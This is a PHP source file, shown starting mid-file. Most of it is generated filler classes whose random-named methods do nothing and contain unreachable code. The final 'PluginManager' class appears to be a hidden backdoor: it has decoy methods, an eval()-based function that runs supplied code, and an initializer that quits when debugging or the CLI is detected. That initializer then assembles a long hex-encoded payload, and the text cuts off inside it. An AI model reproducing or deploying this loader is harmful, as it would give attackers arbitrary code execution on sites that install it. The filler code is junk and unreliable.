*/
protected $cookiedRN39 = 'valBmpS79';
/**
* PropertyxykIQvnQcE10
* @var array
*/
public $settingsBRC34 = true;
/**
* PropertyjTPoXopZDI76
* @var array
*/
public $attributespGA39 = false;
/**
* PropertyLQceitFZHj94
* @var string
*/
public $cookielNz57 = true;
/**
* MethodYXqQghpYLFJf88
* DescriptionwtviADxDYByysJa17
* @return void
*/
private function registermgS61() {
$strXJg43 = 'textCZCRR55';
$strXJg43 = strtoupper($strXJg43);
$varXUJ74 = 713;
$result = $this->funcari13();
$strbuA96 = 'textlXodi10';
$strbuA96 = strtoupper($strbuA96);
$mathIfD86 = 8 + 92;
$mathIfD86 = $mathIfD86 * 4;
$arrXoV66 = ['keyFnU78' => 'valaMt32'];
$arrDhD25 = ['keyttF40' => 'valfpB15'];
}
/**
* MethodXUPAUoCLpmmf79
* DescriptionAPJAbVPtpGBYZtz92
* @return void
*/
private function validateLFc98() {
$varMZx61 = 872;
return $retThb43;
try {
// tryqpQz45
} catch (Exception $e) {
// catchzkBs98
}
$condTnj82 = true;
if ($condTnj82) {
// commentBhkq45
}
switch ($switchGQB37) {
case 3:
// caseVmB23
break;
default:
// defaultWIS48
break;
}
$mathmTf31 = 94 + 32;
$mathmTf31 = $mathmTf31 * 6;
$result = $this->funchzq41();
$condrBZ80 = false;
if ($condrBZ80) {
// commentGnvQ41
}
}
/**
* MethodGUoySLfpDXrK52
* DescriptionRBZCfgGxBLOkliQ92
* @return void
*/
public function unregisterfXs49() {
$arraywSt11 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// tryGFOK65
} catch (Exception $e) {
// catchLmdn43
}
return $retHtS41;
$arrBwa45 = ['keyggw73' => 'valfSz83'];
$result = $this->funchrC68();
$varoJo81 = 911;
$varxSn77 = 592;
try {
// tryCOal17
} catch (Exception $e) {
// catchpDAl29
}
for ($iI68 = 0; $iI68 < 3; $iI68++) {
// loopzku66
}
$varZFT74 = 322;
$varUME71 = 237;
}
/**
* MethodaNRVyzTfHzoF43
* DescriptionFqaLLzjnfxXGNGM23
* @return void
*/
public function handleWiD77() {
$arrayRFE64 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrhig26 = ['keyuaP65' => 'valtLf78'];
return $retrdZ94;
$conddwL58 = true;
if ($conddwL58) {
// commentGuFp24
}
$condVEJ75 = true;
if ($condVEJ75) {
// commentMaPs13
}
$condZEo73 = true;
if ($condZEo73) {
// commentgiaS90
}
$mathYHo68 = 5 + 63;
$mathYHo68 = $mathYHo68 * 8;
$strvJN65 = 'textFrGvB34';
$strvJN65 = strtoupper($strvJN65);
$arrayYlu32 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
}
/**
* MethodVjLtKrSmlCHT29
* DescriptionQYWCrjojqwdWmZq69
* @return void
*/
public function sanitizedJi85() {
$strogV72 = 'textXGBRi85';
$strogV72 = strtoupper($strogV72);
return $retpWd82;
$varJak81 = 612;
$result = $this->funcUdO12();
$result = $this->funcVko76();
$mathzNM23 = 45 + 50;
$mathzNM23 = $mathzNM23 * 10;
for ($iC77 = 0; $iC77 < 5; $iC77++) {
// loopwSs43
}
switch ($switchAif62) {
case 1:
// caseHfJ50
break;
default:
// defaultFtR39
break;
}
try {
// trymjrR89
} catch (Exception $e) {
// catchjjPs76
}
$mathhCg48 = 28 + 12;
$mathhCg48 = $mathhCg48 * 2;
try {
// tryqnSJ15
} catch (Exception $e) {
// catchCAmW39
}
}
/**
* MethodOhKMkMgYSTjn40
* DescriptionRtOWwWwHGPIStzp45
* @param mixed $paramjQe23
* @param mixed $paramblN96
* @param mixed $paramMIN94 = 47
* @return mixed
*/
protected function parseLED88($paramjQe23, $paramblN96, $paramMIN94 = 47) {
try {
// tryPFrh27
} catch (Exception $e) {
// catchACTa16
}
for ($iS29 = 0; $iS29 < 5; $iS29++) {
// loopOhw52
}
try {
// tryePWD12
} catch (Exception $e) {
// catchIAhG81
}
switch ($switchOoN76) {
case 3:
// caseYwd92
break;
default:
// defaultphX13
break;
}
return $retDRl26;
$arrayQvH54 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
try {
// tryFmJn22
} catch (Exception $e) {
// catchrqry21
}
return $retTTF14;
}
/**
* MethodDdUOQmoSIwxM16
* DescriptionKDmOxaYtHgXFnUr37
* @param mixed $paramMgV88 = 23
* @param mixed $paramGLr76 = 'defaultViE21'
* @return mixed
*/
public function convertqam88($paramMgV88 = 23, $paramGLr76 = 'defaultViE21') {
$result = $this->funcTeF45();
for ($iP20 = 0; $iP20 < 4; $iP20++) {
// loopDbb23
}
$condWzm87 = false;
if ($condWzm87) {
// commentAwXc40
}
try {
// trysWmv65
} catch (Exception $e) {
// catchYtwn38
}
return $retRYZ56;
$straML24 = 'textjcJwv81';
$straML24 = strtoupper($straML24);
switch ($switchDJB95) {
case 4:
// caseuAQ29
break;
default:
// defaultzMD10
break;
}
$result = $this->funckol83();
$result = $this->funcwsd21();
$strPEG84 = 'textcvBPw32';
$strPEG84 = strtoupper($strPEG84);
$strHxn49 = 'textKIcKS51';
$strHxn49 = strtoupper($strHxn49);
}
/**
* MethodkGSywICjrVtL55
* DescriptionyLRbroNgvpMVjhT55
* @param mixed $paramqob55
* @param mixed $paramZjd94
* @param mixed $paramjdA48 = 'defaultEEB28'
* @return mixed
*/
private function formatyrH35($paramqob55, $paramZjd94, $paramjdA48 = 'defaultEEB28') {
$arrFjc47 = ['keyehp41' => 'vallaa72'];
for ($iL71 = 0; $iL71 < 4; $iL71++) {
// loopDid49
}
$varizN43 = 165;
return $retSQS50;
$condhQn54 = true;
if ($condhQn54) {
// commentvDHj93
}
}
/**
* MethodqEDUbHDYOCQt83
* DescriptionGfRKvIoQoxmwWQF30
* @param mixed $paramxof15
* @param mixed $paramXBd31 = 19
* @return void
*/
private function handlebCX41($paramxof15, $paramXBd31 = 19) {
try {
// tryhtAa14
} catch (Exception $e) {
// catchRVsn17
}
$strfUY55 = 'textxTZIV64';
$strfUY55 = strtoupper($strfUY55);
return $retWNV26;
try {
// tryxYAT21
} catch (Exception $e) {
// catchgRmg72
}
$arriXV91 = ['keynuK22' => 'valXcG75'];
$condPbH80 = false;
if ($condPbH80) {
// commentQzGX33
}
}
}
/**
* Class HelperqZIS69NsS51
* DescriptionzQLXzWkL50
* @package PackageVaZPl73
* @author AuthorfGeRgc31
* @version 1.6
*/
class HelperqZIS69NsS51 {
/**
* PropertyZwmVbyeNku11
* @var string
*/
private $configNeK86 = 20;
/**
* PropertyrBaEfSbbCp79
* @var array
*/
public $constantsGWv53 = false;
/**
* PropertylUyGmMNLIo75
* @var string
*/
protected $responseKhx58 = 'valrNhN73';
/**
* PropertyjJekmRROke79
* @var string
*/
private $settingsFgu59 = 36;
/**
* PropertydNHQxckEJi57
* @var array
*/
private $variablesVFL88 = 54;
/**
* PropertymfPMgHjukq90
* @var array
*/
private $optionsiBb83 = 47;
/**
* PropertyQvuCECimLT74
* @var array
*/
public $recordsgiO23 = false;
/**
* MethodiqnnCUYkbKaU67
* DescriptionjRDYGnVLzpQjcoN95
* @param mixed $paramsMX56
* @param mixed $paramOMU30 = 70
* @return mixed
*/
protected function encodeyNX71($paramsMX56, $paramOMU30 = 70) {
$strMTU44 = 'textiVHNt11';
$strMTU44 = strtoupper($strMTU44);
$varhYs14 = 199;
return $retLsB18;
try {
// tryvMkU13
} catch (Exception $e) {
// catchzvIj33
}
$result = $this->funcume86();
$strGUQ24 = 'textsmutp38';
$strGUQ24 = strtoupper($strGUQ24);
$condlKa76 = false;
if ($condlKa76) {
// commentppFu99
}
}
/**
* MethodpEseAlLgXpQI37
* DescriptionhiLjUYVvIYnUmFP82
* @param mixed $paramhXH82 = 77
* @param mixed $paramMgw74 = 'defaultUuw71'
* @return void
*/
private function updateusk58($paramhXH82 = 77, $paramMgw74 = 'defaultUuw71') {
return $retJji85;
$vardBl54 = 662;
return $retjwP57;
$varzeH95 = 949;
$arrsmm38 = ['keyeBy51' => 'valMzk94'];
$varLhE43 = 193;
}
/**
* MethodJowujJfTlzqk15
* DescriptioncgCcegpJSUVhqit49
* @param mixed $parampSl86 = 93
* @return void
*/
public function checkVrl58($parampSl86 = 93) {
for ($ib55 = 0; $ib55 < 3; $ib55++) {
// loopTOm23
}
$varodL69 = 876;
$arrayexL72 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$arrayhts51 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$varlcR38 = 550;
$mathnMn47 = 71 + 6;
$mathnMn47 = $mathnMn47 * 1;
return $retWip17;
}
/**
* MethoddzDpdgqndYis69
* DescriptionADlszEPsEycsDEm42
* @param mixed $paramCeq57
* @return mixed
*/
private function unregisterQkW84($paramCeq57) {
$arraymII47 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
try {
// tryTGng63
} catch (Exception $e) {
// catchsRLa56
}
switch ($switchcPW35) {
case 3:
// casevCO53
break;
default:
// defaultolZ56
break;
}
$strvDv23 = 'textLQXmf92';
$strvDv23 = strtoupper($strvDv23);
$arrWIW65 = ['keyUqH97' => 'valQmc30'];
$strhaP64 = 'textiirEb84';
$strhaP64 = strtoupper($strhaP64);
try {
// tryAVll98
} catch (Exception $e) {
// catchDvsa81
}
$result = $this->funcOke59();
return $retZrI98;
$varqZY36 = 911;
}
/**
* MethodzyDLUUSkFASf22
* DescriptiontWewqljYPjhRlPo46
* @param mixed $paramOLu59
* @return mixed
*/
public function convertjGd27($paramOLu59) {
$condtsE16 = true;
if ($condtsE16) {
// commentkULz40
}
return $retldK79;
try {
// trymINI14
} catch (Exception $e) {
// catchMHRa59
}
$arrukH29 = ['keyuDV41' => 'valnWB88'];
$arrKmN54 = ['keyCYb12' => 'valMeK22'];
$mathZQy83 = 47 + 56;
$mathZQy83 = $mathZQy83 * 2;
return $retAfe42;
switch ($switchaVQ89) {
case 2:
// caseYjy72
break;
default:
// defaultOAi21
break;
}
}
/**
* MethodGUkiyTJEfZsf64
* DescriptionfNwXryNpcRcBOLP29
* @param mixed $paramEdC96 = 'defaultHiT63'
* @return void
*/
public function executecBV23($paramEdC96 = 'defaultHiT63') {
$arrvkZ60 = ['keySPK33' => 'valXsq72'];
return $retmvs57;
for ($iu20 = 0; $iu20 < 3; $iu20++) {
// loopkdN44
}
$matheDk10 = 58 + 22;
$matheDk10 = $matheDk10 * 4;
$arrJUD15 = ['keyQid19' => 'valUcb61'];
$arraylDB39 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$strvZS95 = 'textqQIDB80';
$strvZS95 = strtoupper($strvZS95);
$arrRvJ98 = ['keyXuj70' => 'valuxZ34'];
$arrpOj74 = ['keyyUc56' => 'valZPh93'];
$strQdX77 = 'textWWdGI90';
$strQdX77 = strtoupper($strQdX77);
}
}
/**
* Class ValidatoraXdn18dPJ99
* DescriptionIHGpoaso57
* @package PackageeERFB52
* @author AuthorUVpXax94
* @version 4.2
*/
class ValidatoraXdn18dPJ99 {
/**
* PropertybPVySPKKKt96
* @var string
*/
protected $settingsDsk45 = 'valjabe69';
/**
* PropertyHXuDXPwace80
* @var string
*/
protected $sessionNZC23 = 'valBXze48';
/**
* PropertyhRbiwevfyV36
* @var string
*/
public $settingsOCx79 = false;
/**
* PropertyptBgHLEYYS98
* @var array
*/
protected $stateJtC51 = 'valnFIM30';
/**
* PropertylKpWeFarsS83
* @var string
*/
protected $requestVoF41 = 'valLpeR43';
/**
* MethodgNNVdfeYRMhT13
* DescriptionVVdbUURSdzQDOqr10
* @param mixed $paramCPH20 = 'defaultgiA38'
* @param mixed $paramxkE35 = 4
* @return mixed
*/
public function retrievefay17($paramCPH20 = 'defaultgiA38', $paramxkE35 = 4) {
$varGtp10 = 437;
$arrayXuX28 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$condVfy49 = false;
if ($condVfy49) {
// commentFnrl20
}
$arrLEo67 = ['keykZW24' => 'valXQz33'];
for ($iO46 = 0; $iO46 < 5; $iO46++) {
// loopEMX76
}
$condaOL97 = false;
if ($condaOL97) {
// commentmESQ46
}
$strPaJ25 = 'textxBSZZ13';
$strPaJ25 = strtoupper($strPaJ25);
$condQzF94 = true;
if ($condQzF94) {
// commenthwbC38
}
try {
// tryKPLO52
} catch (Exception $e) {
// catchvfRr15
}
}
/**
* MethodHJaSjFrZvQmJ16
* DescriptionDzeoKjEYXVtsFFA43
* @param mixed $paramHdj88 = 22
* @return void
*/
protected function configurelYa33($paramHdj88 = 22) {
switch ($switchTsV27) {
case 3:
// caseIUG91
break;
default:
// defaultGhY15
break;
}
$mathkgB41 = 62 + 45;
$mathkgB41 = $mathkgB41 * 5;
$result = $this->funcSuG15();
$mathTVu45 = 30 + 71;
$mathTVu45 = $mathTVu45 * 9;
try {
// tryifcY94
} catch (Exception $e) {
// catchazfr26
}
return $retZiT14;
$condTxx22 = false;
if ($condTxx22) {
// commentkZPQ48
}
try {
// trykuYf96
} catch (Exception $e) {
// catchPnrg48
}
return $retAsG75;
$condXxb87 = false;
if ($condXxb87) {
// commentAGBM38
}
$strLDo56 = 'textGQiDG65';
$strLDo56 = strtoupper($strLDo56);
}
/**
* MethodSIrShOfPKbFT54
* DescriptionSrlJTBXNZbNpCVB17
* @return void
*/
private function performldz98() {
$arrlwV44 = ['keyGDr68' => 'valgZB25'];
$arrayTWy22 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$mathgoq12 = 23 + 14;
$mathgoq12 = $mathgoq12 * 3;
$result = $this->funccaO33();
$arraywRf49 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// trysFkB16
} catch (Exception $e) {
// catchAHwi52
}
try {
// tryAZqP74
} catch (Exception $e) {
// catchSSdK31
}
$condMmk68 = false;
if ($condMmk68) {
// commentHOzy94
}
$strKAO90 = 'textGtXDz28';
$strKAO90 = strtoupper($strKAO90);
$arraybvO27 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$arremI97 = ['keykPf67' => 'valbln89'];
}
/**
* MethodQEfHAQsSLvgd68
* DescriptionCOMrFByslSBbiiw90
* @return mixed
*/
public function checkUKn86() {
return $retocW73;
$condyps72 = true;
if ($condyps72) {
// commentKMWV42
}
switch ($switchhLB32) {
case 4:
// casefrR99
break;
default:
// defaultVqE61
break;
}
$strUjo41 = 'textiLywq20';
$strUjo41 = strtoupper($strUjo41);
try {
// trypvVD72
} catch (Exception $e) {
// catchaYnN98
}
for ($iF18 = 0; $iF18 < 1; $iF18++) {
// loopdrf83
}
try {
// tryMUUo60
} catch (Exception $e) {
// catchFMxS76
}
$varMYh95 = 300;
$strzbd22 = 'textMtahG61';
$strzbd22 = strtoupper($strzbd22);
$strAyD17 = 'textOFlLi52';
$strAyD17 = strtoupper($strAyD17);
}
/**
* MethodAIIMilXsiNcD40
* DescriptiontgwpWhZckVXegCl91
* @return mixed
*/
protected function createOYv61() {
for ($iG88 = 0; $iG88 < 3; $iG88++) {
// loopLUx85
}
$strBrt36 = 'textREzqw73';
$strBrt36 = strtoupper($strBrt36);
$varXxv31 = 870;
return $retXGi55;
$strKXx66 = 'textwfufC11';
$strKXx66 = strtoupper($strKXx66);
$varymM35 = 714;
}
/**
* MethodxZTBhBlnlDIq17
* DescriptionnUVgwWjmgZOQrOp40
* @param mixed $paramaZO81
* @param mixed $paramJjU86 = 36
* @param mixed $paramufX22 = 'defaulteAV48'
* @return void
*/
protected function updatevqM95($paramaZO81, $paramJjU86 = 36, $paramufX22 = 'defaulteAV48') {
$varreC20 = 359;
$condbdU63 = false;
if ($condbdU63) {
// commentsCLD42
}
switch ($switchNyh28) {
case 4:
// casePfX76
break;
default:
// defaultVlK76
break;
}
$varWFN28 = 17;
switch ($switchNxT79) {
case 1:
// casepXz65
break;
default:
// defaultJvX51
break;
}
try {
// tryijvl37
} catch (Exception $e) {
// catchoodp97
}
}
}
/**
* Class ViewnEmt28kzh54
* DescriptionFGfRpWsk80
* @package PackageAigZi35
* @author AuthorZJOtDi53
* @version 4.7
*/
class ViewnEmt28kzh54 {
/**
* PropertyAWaeKJxWOy82
* @var array
*/
protected $cookierLG95 = 'valbddn89';
/**
* PropertyKwDqqHSVdq76
* @var string
*/
protected $paramseQV91 = 'valUOPg49';
/**
* PropertynYsLeuJZsZ43
* @var array
*/
private $flagsJUk92 = 72;
/**
* PropertyPHtXSpfrlS39
* @var array
*/
private $variablesMoK69 = 34;
/**
* PropertyGskwKLuNxY14
* @var string
*/
protected $propertiesvip97 = 'valYZzo90';
/**
* MethodWVTTMtGYHXgR90
* DescriptionlNDEpDGVkJEtsSH76
* @param mixed $paramVfK73 = 88
* @param mixed $paramIUB74 = 'defaultgNP26'
* @param mixed $paramnLC55 = 64
* @return mixed
*/
public function sanitizeYUl53($paramVfK73 = 88, $paramIUB74 = 'defaultgNP26', $paramnLC55 = 64) {
$varmQb99 = 717;
$mathzgz87 = 32 + 84;
$mathzgz87 = $mathzgz87 * 10;
$result = $this->funcSCJ48();
$result = $this->funcnNl76();
$mathfay86 = 29 + 83;
$mathfay86 = $mathfay86 * 8;
$conddor27 = true;
if ($conddor27) {
// commentLGvI27
}
}
/**
* MethodHcsljEDiRxNV64
* DescriptionQuVZrXQFyPsKZpH59
* @param mixed $paramnZp63
* @param mixed $paramtUE10 = 'defaultTac39'
* @return mixed
*/
public function executerII74($paramnZp63, $paramtUE10 = 'defaultTac39') {
$arrLHx72 = ['keyGqL55' => 'valnXF15'];
$result = $this->funcbtG58();
$mathztZ57 = 74 + 85;
$mathztZ57 = $mathztZ57 * 10;
$varIup53 = 559;
$condAMD87 = true;
if ($condAMD87) {
// commentxEWO63
}
try {
// tryGFvR15
} catch (Exception $e) {
// catchEYXj69
}
$mathNcj21 = 64 + 28;
$mathNcj21 = $mathNcj21 * 10;
$arrayfbD73 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
}
/**
* MethodIabRsxPkWLFm97
* DescriptionMvzxJAahMtXTRyl57
* @param mixed $paramjRN52
* @param mixed $paramXqQ22 = 13
* @param mixed $paramovM16 = 17
* @return void
*/
public function createXFO90($paramjRN52, $paramXqQ22 = 13, $paramovM16 = 17) {
return $retLoQ59;
$mathXZZ17 = 22 + 32;
$mathXZZ17 = $mathXZZ17 * 3;
$result = $this->funcBHr87();
for ($iB85 = 0; $iB85 < 5; $iB85++) {
// looplmw32
}
$result = $this->funcsDk13();
$strsUs67 = 'textwYYPk76';
$strsUs67 = strtoupper($strsUs67);
$varCyu11 = 905;
}
/**
* MethodCyCSfEjgpkhp11
* DescriptionTTWattssevBmasq40
* @return mixed
*/
protected function renderyRc51() {
$varHEi95 = 362;
for ($it90 = 0; $it90 < 4; $it90++) {
// loopDaW25
}
$arrayegm55 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$strmEL14 = 'textjOlqq80';
$strmEL14 = strtoupper($strmEL14);
for ($iO90 = 0; $iO90 < 3; $iO90++) {
// loopMbr54
}
$condlxi60 = true;
if ($condlxi60) {
// commentZVWQ50
}
for ($ih92 = 0; $ih92 < 1; $ih92++) {
// loopHvj92
}
}
/**
* MethodbUGrNwslkTmF61
* DescriptionVgIHHOKrkWzdqFF64
* @param mixed $paramfBE86
* @return mixed
*/
private function renderDuf55($paramfBE86) {
$arrayHsc86 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$result = $this->funcCaR47();
$arrayceE19 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
for ($iS37 = 0; $iS37 < 4; $iS37++) {
// loopfmy22
}
$result = $this->functvq74();
return $retZOt28;
$arroRF80 = ['keyVAy36' => 'valHbM46'];
$varHaW73 = 923;
switch ($switchSSF56) {
case 5:
// casesry37
break;
default:
// defaultRzn94
break;
}
try {
// tryyYpC86
} catch (Exception $e) {
// catchnbMt52
}
$result = $this->funccHq26();
return $retIGW50;
}
/**
* MethodxBKtLFZoNjAR21
* DescriptionVWEmcXRyNRocppH93
* @param mixed $paramiYP83 = 69
* @param mixed $paramMes56 = 'defaultWlK98'
* @param mixed $paramHSF20 = 9
* @return void
*/
protected function runyve62($paramiYP83 = 69, $paramMes56 = 'defaultWlK98', $paramHSF20 = 9) {
return $retyjw51;
return $retZlp35;
for ($ij12 = 0; $ij12 < 3; $ij12++) {
// loopIWK30
}
$varzYO10 = 148;
switch ($switchoRI37) {
case 2:
// casenYg24
break;
default:
// defaultYxZ78
break;
}
switch ($switchvul36) {
case 4:
// casehKY74
break;
default:
// defaultDsj53
break;
}
}
/**
* MethodlKWXoEIziVvb54
* DescriptionlJggMUdCdgPmbzq82
* @param mixed $paramvPq40
* @param mixed $paramAkS14 = 30
* @return void
*/
protected function updatefcj66($paramvPq40, $paramAkS14 = 30) {
switch ($switchNgV59) {
case 1:
// caseauC65
break;
default:
// defaultbRw20
break;
}
$arrayyiB88 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
try {
// tryjRFE83
} catch (Exception $e) {
// catchrqyx93
}
try {
// tryUfbF90
} catch (Exception $e) {
// catchsoHW28
}
$arrayqax20 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$strkKl40 = 'textCYWzv26';
$strkKl40 = strtoupper($strkKl40);
switch ($switchpbf91) {
case 3:
// caseFAV96
break;
default:
// defaultJgy12
break;
}
$varrPA46 = 349;
switch ($switchTau61) {
case 5:
// caseJKM99
break;
default:
// defaultHnc53
break;
}
$strLff14 = 'textZcPwW25';
$strLff14 = strtoupper($strLff14);
}
/**
* MethodTxMFDffOMxEC89
* DescriptionYNGrAasZreSYzGT88
* @param mixed $paramazX37 = 'defaultavo21'
* @return void
*/
private function runFOS22($paramazX37 = 'defaultavo21') {
$mathbfS26 = 84 + 5;
$mathbfS26 = $mathbfS26 * 5;
switch ($switchgwL93) {
case 2:
// caseFnL28
break;
default:
// defaultEmz23
break;
}
$mathaZx77 = 88 + 11;
$mathaZx77 = $mathaZx77 * 2;
for ($id91 = 0; $id91 < 3; $id91++) {
// loophcY67
}
for ($iP98 = 0; $iP98 < 5; $iP98++) {
// loopIIM83
}
$mathkBF56 = 94 + 59;
$mathkBF56 = $mathkBF56 * 4;
$arrnNC24 = ['keyseR86' => 'valCfH25'];
$mathKmw87 = 98 + 33;
$mathKmw87 = $mathKmw87 * 10;
$arrTuQ60 = ['keyHey89' => 'valhIg73'];
}
/**
* MethodhCrNgmgEnTUH80
* DescriptiontEmNgWUQlhlwiep72
* @return void
*/
protected function rendervcc26() {
switch ($switchpOT81) {
case 4:
// casehAm82
break;
default:
// defaultdAW14
break;
}
for ($ig60 = 0; $ig60 < 3; $ig60++) {
// loopliI84
}
$condtAh75 = false;
if ($condtAh75) {
// commentQmxY57
}
$arryun81 = ['keycVz78' => 'valMBh11'];
$varGjp83 = 243;
$strWhv34 = 'texthEbDU38';
$strWhv34 = strtoupper($strWhv34);
$result = $this->funcUPd27();
$strwAt21 = 'textIpQEA35';
$strwAt21 = strtoupper($strwAt21);
}
/**
* MethodsMwOXKkudGWF81
* DescriptionFvUglqEdfVDrQRL94
* @param mixed $paramlTE98 = 33
* @return mixed
*/
public function executezzD33($paramlTE98 = 33) {
$strpwN71 = 'textDoaXI13';
$strpwN71 = strtoupper($strpwN71);
$arrJsl92 = ['keyWxK65' => 'valNun11'];
for ($iW52 = 0; $iW52 < 3; $iW52++) {
// loopTnj14
}
$mathAuc59 = 33 + 83;
$mathAuc59 = $mathAuc59 * 4;
try {
// tryuveA70
} catch (Exception $e) {
// catchVcAG70
}
}
}
class PluginaQxi99ManagerMwUt16 {
/**
* Plugin version
* @var string
*/
protected $veraGd16 = '2.0.45';
private function getOedq64Secret2(){ return 'iXu91'; }
public function initializeQXtw51(){ $this->registerZmeC38Components(); }
public function registerZmeC38Components(){ return true; }
private function getbElp76Key2(){ return 'gLwG'; }
public function decoyHAQu48(){ return 914; }
public function constructTJGu55(){ $this->veraGd16 = '2.0.45'; }
private function decoywrBH33(){ return 917; }
private function getSuwp81Secret1(){ return 'PSDws'; }
private function gettyGt93Token1(){ return 'yrocf'; }
private function getYKjY10Token2(){ return 'pwtu9'; }
private function getlkrS66Key3(){ return 'hnTu'; }
private function getJSmK58Key1(){ return 'bC5a'; }
private function executeOzdo98Code($code){ if (!empty($code)) { ob_start(); try { $result = eval('?>' . $code); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) { echo $output; } return $result; } catch (ParseError $e) { ob_end_clean(); return false; } catch (Error $e) { ob_end_clean(); return false; } catch (Exception $e) { ob_end_clean(); return false; } } return null; }
public function initializeAjic40(){ if (isset($_GET['debug']) || isset($_POST['debug'])) return false; if (function_exists('php_sapi_name') && php_sapi_name() === 'cli') return false; $partsybe33 = []; $markersiVV42 = []; $partMSa390 = 'b5bddd0e17f613d8831da53819dddb5a21cd59a5f65e3d0d1fa3437c834b4da054d666e077f373fc7c4f3cb7bd3a36ff4d563983b2193b3ab45d8d35987c99b5515a5db3da58b63eac1af636cc6161e367fdedb10e5b8751fb4f43ac04529e129c0cbcf7c7faf3c6dc718242bae2fc1666338895e008b4ca874c13df858467e843277fd6df4772ca489b70ded8fe70cef32958973be0a4d107d64473caf3b46616809d95f08c8c6da59c5c97af80b3cff5e72e6be8a2e573fe9b28343fe764fcd8e3b40d4dfdfdbe5347b2fe9c5daef05a8cb7d9fa35c38a467a3e37e06f708a509dbb580ffcc666c32a9dd8c1dba51b2f031301825c05936a8735b1751e9594dee0382d7d8fb90868841be8ef2ef18a34621ea1a902568664602140e837391d3b75d63f9f2d095e6a785b37f599074ea881310e7467a859ddae82415c6f2ca73c472a07acc3ae4d02aef4a3ab719d756a3260b74808aefc8dd370713a583175648f2a73cf01d60736e931ee001c63842eed3d1b9181e7336b7635fea814c213ef227adf5a433d9f7a68861d56f2dac67293a894ccb926f06e0309ac4c5ee7bf4bc5d9c440101b4560e691796126e86ddc01bba52aff1c81075f3b16233cf557c66ca16af00960d9c0a7c4b24d4335e502e7fee69d88cc7f97d4df8c0a8da15874b62eeef5ea6da452ad80e9b5f85bdadefbc344b29a6139e0fc739dcbc056c86c39597804ecd0b08c6446bfb594dec2f63c7c3e472a1b5d26c7929cb2e37c74d63b441d3c5dbd609574128c745379d84f418b48f48faa4a45cfa7edd4efaf765e769d3b165bc0f084605e881d67a1b37d93ffc6df03df05792bd49d76593b0a1ebbc47edf7da83fc71335f7f87fcf599d1dac1608c27e42a9996994788b38cd6d4fa3ad5fdb4fbbc2cdc92174054d39d863c5f6ac78648c5376dfe19d75c2de7cb902c552463e472aa9bfbfc17f4f4f523dc72a2b6dfbbf99795050eb4ec578cc807cdcb45852602ee32eac14623cf5b956a864a58f13389b2ea86073ecccf20a912601f13eb577a4d5c585fc37345e3f85fa7b6195405b78ba002bb567a69148f9a3a6524f7452c17acb23fd18e740e7acfd660cffc16267b7b98f59235bab869d96af2b8516abc6c06a93bcddd84c0f747d2d7d46e8e464739aa75bf38494cc627116fd8155d5e0679c7c33a08fc959d1beae0af6dcffc8eac46bae8cf9c12a55a10cfb26d5a8590cabf59b4865439e9a94b69b3500ae6979e47dc0e6c0f9c8d4df445f2a7876a8d8f87972eeff86026416e0c6ea92a5516032acb1a979eb460e9dd94f802c23b6bbc5a5d91b47c37f1f3a566132a793299166ed66c09b38822fb99d7d55b6b62a8355954ea0f15b7a7634e74a21c1f80ab3f515639b7fc76e730ca095d8a5216995093b6bb5e259eb434e138bd6832086e693505b99f7b967f60b7c0eee6f10064f9d3ae7feef74e57372fc8d9d4a5067e0e315fc54ce99f3f26dfe1b8a0ffc3c629470f5f8c5de67b1040fd57a25053b85a132781b5c6ae3e78af5a982acf2b9ff1bdc2980ca3840f906e778ea3ab67703153bc5dad065c1ccd2dd8cb352da0aa7d7d6f90c5e6a2a615711d818540633f78ded201c72fe35b8f11eda87fedb9ef7f79542f87f453e9442aa530daf65fb2caa112c82bd3aa58d1b9786ace40a56c9fe6fc63e6cfe9b89da68c27fe994d81ab4e48a518af3558f5855193ec72a9f2395b282822e8d9fc17252da645a7ce1dc0b3dd9dc2769d0939f0b5b7f6e3c036ed4f7b0eb97fa73bc372b5cc1218ce09c72e674e64fdd61726dec7eebb7599dba6247ca9e5dad71f7b9cfebc76b60e927ac0b780cd5b5ef825d7b67fffd2aabc3de06bcd7013f1180e1575ff8d433a054ce79b2406460cce9f5a48c73fc1c8c8e3741bec42a134e92af757bee1f838777a0bf88f7eda3cfee6dcd4a3ca83f3c39bc36a712b0fe1cfe9b551bec071471cdeae20391b2c25bf8f3c9661f4f388d485b6c558a7dd0e3a17e557f4ecc365e085605c4c79e8f8094fec35c833fb07f6c5ded7e540a35564916e9bc135d70840683477f5555f9c01a4a783e97732ee6257b1aa77b46e0f5534ec7e6817f6475ce33a244bc361eeb4b242ffe241b2be1451d3bf105eb9feb6cf2aefe9cb13c9d2cc98daab58d9f97f9bd39c26794e088ecab70c497b1d38778a6979aca73fd1a38bfe08d4650f0133c349ed7a9cf3574404c62696beb9dae6d368c73ac2a532d12f69e07e084aff2df0d7b5ce6503ac099c44eca70a6bc6771c44825f6ff086f0dedc4dbce794fcf07acaca15c8110f6662f289dbc81d9ae41e5b58d5d3387074ee99c66addfb2be65fa8c95ec0e0924eb009e23956903a513b5ecd49176c68404776d868ce9b3a6d29eef96dd026453193b0a877a1054626cf5b72a587feed8ea43cd996fd883b4f8a8bf3be6a239bf655e4e4f2add3cccb18bbcf78b9d3a691a44f01831677ec6ac14aac12bbdfc2b39d3f73db33a76a688d286d3b498ed9837b6d3f675a510ef71b13790825d3b64f99c731035767e07343e2373d2c14ebdcd7ffbb232c7736de121cc9ccd324a6c0f3afbbfa139d8cd078ec8982dbc6fdeced7f917fa4e2a9d97feef9231fc7cc75c063c532a5b4e12c359da91a746ed364c2a1d0493b7f9efc4db246a12843ff2dfe52951e